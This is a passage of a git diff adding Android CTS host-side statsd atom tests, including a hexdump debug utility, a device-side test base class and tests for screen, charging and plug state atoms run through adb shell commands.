+
+    public IBuildInfo getBuild() {
+        return mCtsBuild;
+    }
+
+    /**
+     * Call onto the device with an adb shell command and get the results of
+     * that as a proto of the given type.
+     *
+     * @param parser A protobuf parser object. e.g. MyProto.parser()
+     * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
+     *
+     * @throws DeviceNotAvailableException If there was a problem communicating with
+     *      the test device.
+     * @throws InvalidProtocolBufferException If there was an error parsing
+     *      the proto. Note that a 0 length buffer is not necessarily an error.
+     */
+    public <T extends MessageLite> T getDump(Parser<T> parser, String command)
+            throws DeviceNotAvailableException, InvalidProtocolBufferException {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand(command, receiver);
+        if (false) {
+            CLog.d("Command output while parsing " + parser.getClass().getCanonicalName()
+                    + " for command: " + command + "\n"
+                    + BufferDebug.debugString(receiver.getOutput(), -1));
+        }
+        try {
+            return parser.parseFrom(receiver.getOutput());
+        } catch (Exception ex) {
+            CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for command: "
+                    + command
+                    + BufferDebug.debugString(receiver.getOutput(), 16384));
+            throw ex;
+        }
+    }
+
+    /**
+     * Install a device side test package.
+     *
+     * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
+     * @param grantPermissions whether to give runtime permissions.
+     */
+    protected void installPackage(String appFileName, boolean grantPermissions)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final String result = getDevice().installPackage(
+                buildHelper.getTestFile(appFileName), true, grantPermissions);
+        assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
+            .that(result).isNull();
+    }
+
+    protected CompatibilityBuildHelper getBuildHelper() {
+        return new CompatibilityBuildHelper(mCtsBuild);
+    }
+
+    /**
+     * Run a device side test.
+     *
+     * @param pkgName Test package name, such as "com.android.server.cts.netstats".
+     * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
+     * @param testMethodName Test method name.
+     * @return {@link TestRunResult} of this invocation.
+     * @throws DeviceNotAvailableException
+     */
+    @Nonnull
+    protected TestRunResult runDeviceTests(@Nonnull String pkgName,
+            @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                pkgName, TEST_RUNNER, getDevice().getIDevice());
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new Error("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new Error("No tests were run on the device");
+        }
+
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+
+        return result;
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BufferDebug.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BufferDebug.java
new file mode 100644
index 0000000..ae85bb3
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BufferDebug.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.statsd;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Formatter;
+
+/**
+ * Print utility for byte[].
+ */
+public class BufferDebug {
+    private static final int HALF_WIDTH = 8;
+
+    /**
+     * Number of bytes represented per row in hex output.
+     */
+    public static final int WIDTH = HALF_WIDTH * 2;
+
+    /**
+     * Return a string suitable for debugging.
+     * - If the byte is printable as an ascii string, return that, in quotation marks,
+     *   with a newline at the end.
+     * - Otherwise, return the hexdump -C style output.
+     *
+     * @param buf the buffer
+     * @param max print up to _max_ bytes, or the length of the string. If max is 0,
+     *      print the whole contents of buf.
+     */
+    public static String debugString(byte[] buf, int max) {
+        if (buf == null) {
+            return "(null)";
+        }
+        if (buf.length == 0) {
+            return "(length 0)";
+        }
+
+        int len = max;
+        if (len <= 0 || len > buf.length) {
+            max = len = buf.length;
+        }
+
+        if (isPrintable(buf, len)) {
+            return "\"" + new String(buf, 0, len, StandardCharsets.UTF_8) + "\"\n";
+        } else {
+            return toHex(buf, len, max);
+        }
+    }
+
+    private static String toHex(byte[] buf, int len, int max) {
+        final StringBuilder str = new StringBuilder();
+
+        // All but the last row
+        int rows = len / WIDTH;
+        for (int row = 0; row < rows; row++) {
+            writeRow(str, buf, row * WIDTH, WIDTH, max);
+        }
+
+        // Last row
+        if (len % WIDTH != 0) {
+            writeRow(str, buf, rows * WIDTH, max - (rows * WIDTH), max);
+        }
+
+        // Final len
+        str.append(String.format("%10d 0x%08x  ", buf.length, buf.length));
+        if (buf.length != max) {
+            str.append(String.format("truncated to %d 0x%08x", max, max));
+        }
+        str.append('\n');
+
+        return str.toString();
+    }
+
+    private static void writeRow(StringBuilder str, byte[] buf, int start, int len, int max) {
+        final Formatter f = new Formatter(str);
+
+        // Start index
+        f.format("%10d 0x%08x  ", start, start);
+
+        // One past the last char we will print
+        int end = start + len;
+        // Number of missing caracters due to this being the last line.
+        int padding = 0;
+        if (start + WIDTH > max) {
+            padding = WIDTH - (end % WIDTH);
+            end = max;
+        }
+
+        // Hex
+        for (int i = start; i < end; i++) {
+            f.format("%02x ", buf[i]);
+            if (i == start + HALF_WIDTH - 1) {
+                str.append(" ");
+            }
+        }
+        for (int i = 0; i < padding; i++) {
+            str.append("   ");
+        }
+        if (padding >= HALF_WIDTH) {
+            str.append(" ");
+        }
+
+        str.append("  ");
+        for (int i = start; i < end; i++) {
+            byte b = buf[i];
+            if (isPrintable(b)) {
+                str.append((char)b);
+            } else {
+                str.append('.');
+            }
+            if (i == start + HALF_WIDTH - 1) {
+                str.append("  ");
+            }
+        }
+
+        str.append('\n');
+    }
+
+    private static boolean isPrintable(byte[] buf, int len) {
+        for (int i=0; i<len; i++) {
+            if (!isPrintable(buf[i])) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private static boolean isPrintable(byte c) {
+        return c >= 0x20 && c <= 0x7e;
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/DeviceAtomTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/DeviceAtomTestCase.java
new file mode 100644
index 0000000..127734a
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/DeviceAtomTestCase.java
@@ -0,0 +1,329 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.MessageMatcher;
+import com.android.internal.os.StatsdConfigProto.Position;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.log.LogUtil;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Base class for testing Statsd atoms that report a uid. Tests are performed via a device-side app.
+ */
+public class DeviceAtomTestCase extends AtomTestCase {
+
+    public static final String DEVICE_SIDE_TEST_APK = "CtsStatsdApp.apk";
+    public static final String DEVICE_SIDE_TEST_PACKAGE =
+            "com.android.server.cts.device.statsd";
+    public static final long DEVICE_SIDE_TEST_PACKAGE_VERSION = 10;
+    public static final String DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME =
+            "com.android.server.cts.device.statsd.StatsdCtsForegroundService";
+    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT =
+            "com.android.server.cts.device.statsd/.StatsdCtsBackgroundService";
+    public static final long DEVICE_SIDE_TEST_PKG_HASH =
+            Long.parseUnsignedLong("15694052924544098582");
+
+    // Constants from device side tests (not directly accessible here).
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_LMK = "action.lmk";
+
+    public static final String CONFIG_NAME = "cts_config";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        installTestApp();
+        Thread.sleep(1000);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        super.tearDown();
+    }
+
+    /**
+     * Performs a device-side test by calling a method on the app and returns its stats events.
+     * @param methodName the name of the method in the app's AtomTests to perform
+     * @param atom atom tag (from atoms.proto)
+     * @param key atom's field corresponding to state
+     * @param stateOn 'on' value
+     * @param stateOff 'off' value
+     * @param minTimeDiffMs max allowed time between start and stop
+     * @param maxTimeDiffMs min allowed time between start and stop
+     * @param demandExactlyTwo whether there must be precisely two events logged (1 start, 1 stop)
+     * @return list of events with the app's uid matching the configuration defined by the params.
+     */
+    protected List<EventMetricData> doDeviceMethodOnOff(
+            String methodName, int atom, int key, int stateOn, int stateOff,
+            int minTimeDiffMs, int maxTimeDiffMs, boolean demandExactlyTwo) throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOn));
+        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOff));
+        List<EventMetricData> data = doDeviceMethod(methodName, conf);
+
+        if (demandExactlyTwo) {
+            assertThat(data).hasSize(2);
+        } else {
+            assertThat(data.size()).isAtLeast(2);
+        }
+        assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
+        return data;
+    }
+
+    /**
+     *
+     * @param methodName the name of the method in the app's AtomTests to perform
+     * @param cfg statsd configuration
+     * @return list of events with the app's uid matching the configuration.
+     */
+    protected List<EventMetricData> doDeviceMethod(String methodName, StatsdConfig.Builder cfg)
+            throws Exception {
+        removeConfig(CONFIG_ID);
+        getReportList();  // Clears previous data on disk.
+        uploadConfig(cfg);
+        int appUid = getUid();
+        LogUtil.CLog.d("\nPerforming device-side test of " + methodName + " for uid " + appUid);
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", methodName);
+
+        return getEventMetricDataList();
+    }
+
+    protected void createAndUploadConfig(int atomTag, boolean useAttribution) throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, atomTag, useAttribution);
+        uploadConfig(conf);
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the given key AND has the app's uid.
+     * @param conf configuration
+     * @param atomTag atom tag (from atoms.proto)
+     * @param fvm FieldValueMatcher.Builder for the relevant key
+     */
+    @Override
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag, FieldValueMatcher.Builder fvm)
+            throws Exception {
+
+        final int UID_KEY = 1;
+        FieldValueMatcher.Builder fvmUid = createAttributionFvm(UID_KEY);
+        addAtomEvent(conf, atomTag, Arrays.asList(fvm, fvmUid));
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the app's uid.
+     * @param conf configuration
+     * @param atomTag atom tag (from atoms.proto)
+     * @param useAttribution If true, the atom has a uid within an attribution node. Else, the atom
+     * has a uid but not in an attribution node.
+     */
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
+            boolean useAttribution) throws Exception {
+        final int UID_KEY = 1;
+        FieldValueMatcher.Builder fvmUid;
+        if (useAttribution) {
+            fvmUid = createAttributionFvm(UID_KEY);
+        } else {
+            fvmUid = createFvm(UID_KEY).setEqString(DEVICE_SIDE_TEST_PACKAGE);
+        }
+        addAtomEvent(conf, atomTag, Arrays.asList(fvmUid));
+    }
+
+    /**
+     * Creates a FieldValueMatcher for atoms that use AttributionNode
+     */
+    protected FieldValueMatcher.Builder createAttributionFvm(int field) {
+        final int ATTRIBUTION_NODE_UID_KEY = 1;
+        return createFvm(field).setPosition(Position.ANY)
+                .setMatchesTuple(MessageMatcher.newBuilder()
+                        .addFieldValueMatcher(createFvm(ATTRIBUTION_NODE_UID_KEY)
+                                .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
+    }
+
+    /**
+     * Gets the uid of the test app.
+     */
+    protected int getUid() throws Exception {
+        int currentUser = getDevice().getCurrentUser();
+        String uidLine = getDevice().executeShellCommand("cmd package list packages -U --user "
+                + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
+        String[] uidLineParts = uidLine.split("[: ]");
+        int uid = 0;
+        // Search for the correct package name. It is possible that both
+        // com.android.server.cts.device.statsd and com.android.server.cts.device.statsdatom is
+        // retrieved.
+        for (int i = 0; i < uidLineParts.length; i++) {
+            if (DEVICE_SIDE_TEST_PACKAGE.equals(uidLineParts[i])) {
+                // the uid entry is the second entry after the package name.
+                uid = Integer.parseInt(uidLineParts[i + 2].trim());
+            }
+        }
+        assertThat(uidLineParts.length).isGreaterThan(2);
+        assertThat(uid).isGreaterThan(10000);
+        return uid;
+    }
+
+    /**
+     * Installs the test apk.
+     */
+    protected void installTestApp() throws Exception {
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+        LogUtil.CLog.i("Installing device-side test app with uid " + getUid());
+        allowBackgroundServices();
+    }
+
+    /**
+     * Uninstalls the test apk.
+     */
+    protected void uninstallPackage() throws Exception{
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    /**
+     * Required to successfully start a background service from adb in O.
+     */
+    protected void allowBackgroundServices() throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
+    }
+
+    /**
+     * Runs a (background) service to perform the given action.
+     * @param actionValue the action code constants indicating the desired action to perform.
+     */
+    protected void executeBackgroundService(String actionValue) throws Exception {
+        allowBackgroundServices();
+        getDevice().executeShellCommand(String.format(
+                "am startservice -n '%s' -e %s %s",
+                DEVICE_SIDE_BG_SERVICE_COMPONENT,
+                KEY_ACTION, actionValue));
+    }
+
+    /**
+     * Runs the specified activity.
+     */
+    protected void runActivity(String activity, String actionKey, String actionValue)
+            throws Exception {
+        runActivity(activity, actionKey, actionValue, WAIT_TIME_LONG);
+    }
+
+    /**
+     * Runs the specified activity.
+     */
+    protected void runActivity(String activity, String actionKey, String actionValue,
+            long waitTime) throws Exception {
+        try (AutoCloseable a = withActivity(activity, actionKey, actionValue)) {
+            Thread.sleep(waitTime);
+        }
+    }
+
+    /**
+     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
+     * when closed.
+     *
+     * <p>Example usage:
+     * <pre>
+     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
+     *         doStuff();
+     *     }
+     * </pre>
+     */
+    protected AutoCloseable withActivity(String activity, String actionKey, String actionValue)
+            throws Exception {
+        String intentString = null;
+        if (actionKey != null && actionValue != null) {
+            intentString = actionKey + " " + actionValue;
+        }
+        if (intentString == null) {
+            getDevice().executeShellCommand(
+                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity);
+        } else {
+            getDevice().executeShellCommand(
+                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity + " -e " +
+                            intentString);
+        }
+        return () -> {
+            getDevice().executeShellCommand(
+                    "am force-stop " + DEVICE_SIDE_TEST_PACKAGE);
+            Thread.sleep(WAIT_TIME_SHORT);
+        };
+    }
+
+    protected void resetBatteryStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys batterystats --reset");
+    }
+
+    protected void clearProcStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --clear");
+    }
+
+    protected void startProcStatsTesting() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --start-testing");
+    }
+
+    protected void stopProcStatsTesting() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --stop-testing");
+    }
+
+    protected void commitProcStatsToDisk() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --commit");
+    }
+
+    protected void rebootDeviceAndWaitUntilReady() throws Exception {
+        rebootDevice();
+        // Wait for 2 mins.
+        assertWithMessage("Device failed to boot")
+            .that(getDevice().waitForBootComplete(120_000)).isTrue();
+        assertWithMessage("Stats service failed to start")
+            .that(waitForStatsServiceStart(60_000)).isTrue();
+        Thread.sleep(2_000);
+    }
+
+    protected boolean waitForStatsServiceStart(final long waitTime) throws Exception {
+        LogUtil.CLog.i("Waiting %d ms for stats service to start", waitTime);
+        int counter = 1;
+        long startTime = System.currentTimeMillis();
+        while ((System.currentTimeMillis() - startTime) < waitTime) {
+            if ("running".equals(getProperty("init.svc.statsd"))) {
+                return true;
+            }
+            Thread.sleep(Math.min(200 * counter, 2_000));
+            counter++;
+        }
+        LogUtil.CLog.w("Stats service did not start after %d ms", waitTime);
+        return false;
+    }
+
+    boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
+        final String output = getDevice().executeShellCommand(
+                "settings get global netstats_combine_subtype_enabled").trim();
+        return output.equals("1");
+    }
+
+    void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
+        getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
+                + (enable ? "1" : "0"));
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
new file mode 100644
index 0000000..8dd0984
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -0,0 +1,699 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.os.BatteryPluggedStateEnum;
+import android.os.BatteryStatusEnum;
+import android.os.StatsDataDumpProto;
+import android.platform.test.annotations.RestrictedBuildTest;
+import android.server.DeviceIdleModeEnum;
+import android.view.DisplayStateEnum;
+import android.telephony.NetworkTypeEnum;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.BatterySaverModeStateChanged;
+import com.android.os.AtomsProto.BuildInformation;
+import com.android.os.AtomsProto.ConnectivityStateChanged;
+import com.android.os.AtomsProto.SimSlotState;
+import com.android.os.AtomsProto.SupportedRadioAccessFamily;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.collect.Range;
+import com.google.protobuf.ByteString;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Queue;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Statsd atom tests that are done via adb (hostside).
+ */
+public class HostAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.HostAtomTests";
+
+    private static final String DUMPSYS_STATS_CMD = "dumpsys stats";
+
+    // Either file must exist to read kernel wake lock stats.
+    private static final String WAKE_LOCK_FILE = "/proc/wakelocks";
+    private static final String WAKE_SOURCES_FILE = "/d/wakeup_sources";
+
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+    private static final String FEATURE_WATCH = "android.hardware.type.watch";
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
+    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testScreenStateChangedAtom() throws Exception {
+        // Setup, make sure the screen is off and turn off AoD if it is on.
+        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
+        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
+        String aodState = getAodState();
+        setAodState("0");
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.turnScreenOff(getDevice());
+        // Ensure that the screen on/off atoms are pushed before the config is uploaded.
+        Thread.sleep(5_000);
+
+        final int atomTag = Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> screenOnStates = new HashSet<>(
+                Arrays.asList(DisplayStateEnum.DISPLAY_STATE_ON_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_VR_VALUE));
+        Set<Integer> screenOffStates = new HashSet<>(
+                Arrays.asList(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(screenOnStates, screenOffStates);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        DeviceUtils.turnScreenOff(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        // reset screen to on
+        DeviceUtils.turnScreenOn(getDevice());
+        // Restores AoD to initial state.
+        setAodState(aodState);
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_LONG,
+                atom -> atom.getScreenStateChanged().getState().getNumber());
+    }
+
+    public void testChargingStateChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        // Setup, set charging state to full.
+        DeviceUtils.setChargingState(getDevice(), 5);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.CHARGING_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> batteryUnknownStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_UNKNOWN_VALUE));
+        Set<Integer> batteryChargingStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_CHARGING_VALUE));
+        Set<Integer> batteryDischargingStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_DISCHARGING_VALUE));
+        Set<Integer> batteryNotChargingStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_NOT_CHARGING_VALUE));
+        Set<Integer> batteryFullStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_FULL_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(batteryUnknownStates, batteryChargingStates,
+                batteryDischargingStates, batteryNotChargingStates, batteryFullStates);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        DeviceUtils.setChargingState(getDevice(), 1);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.setChargingState(getDevice(), 2);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.setChargingState(getDevice(), 3);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.setChargingState(getDevice(), 4);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.setChargingState(getDevice(), 5);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Unfreeze battery state after test
+        DeviceUtils.resetBatteryStatus(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getChargingStateChanged().getState().getNumber());
+    }
+
+    public void testPluggedStateChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        // Setup, unplug device.
+        DeviceUtils.unplugDevice(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> unpluggedStates = new HashSet<>(
+                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE));
+        Set<Integer> acStates = new HashSet<>(
+                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE));
+        Set<Integer> usbStates = new HashSet<>(
+                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE));
+        Set<Integer> wirelessStates = new HashSet<>(
+                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(acStates, unpluggedStates, usbStates,
+                unpluggedStates, wirelessStates, unpluggedStates);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        DeviceUtils.plugInAc(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.unplugDevice(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        plugInUsb();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.unplugDevice(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        plugInWireless();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.unplugDevice(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Unfreeze battery state after test
+        DeviceUtils.resetBatteryStatus(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getPluggedStateChanged().getState().getNumber());
+    }
+
+    public void testBatteryLevelChangedAtom() throws Exception {
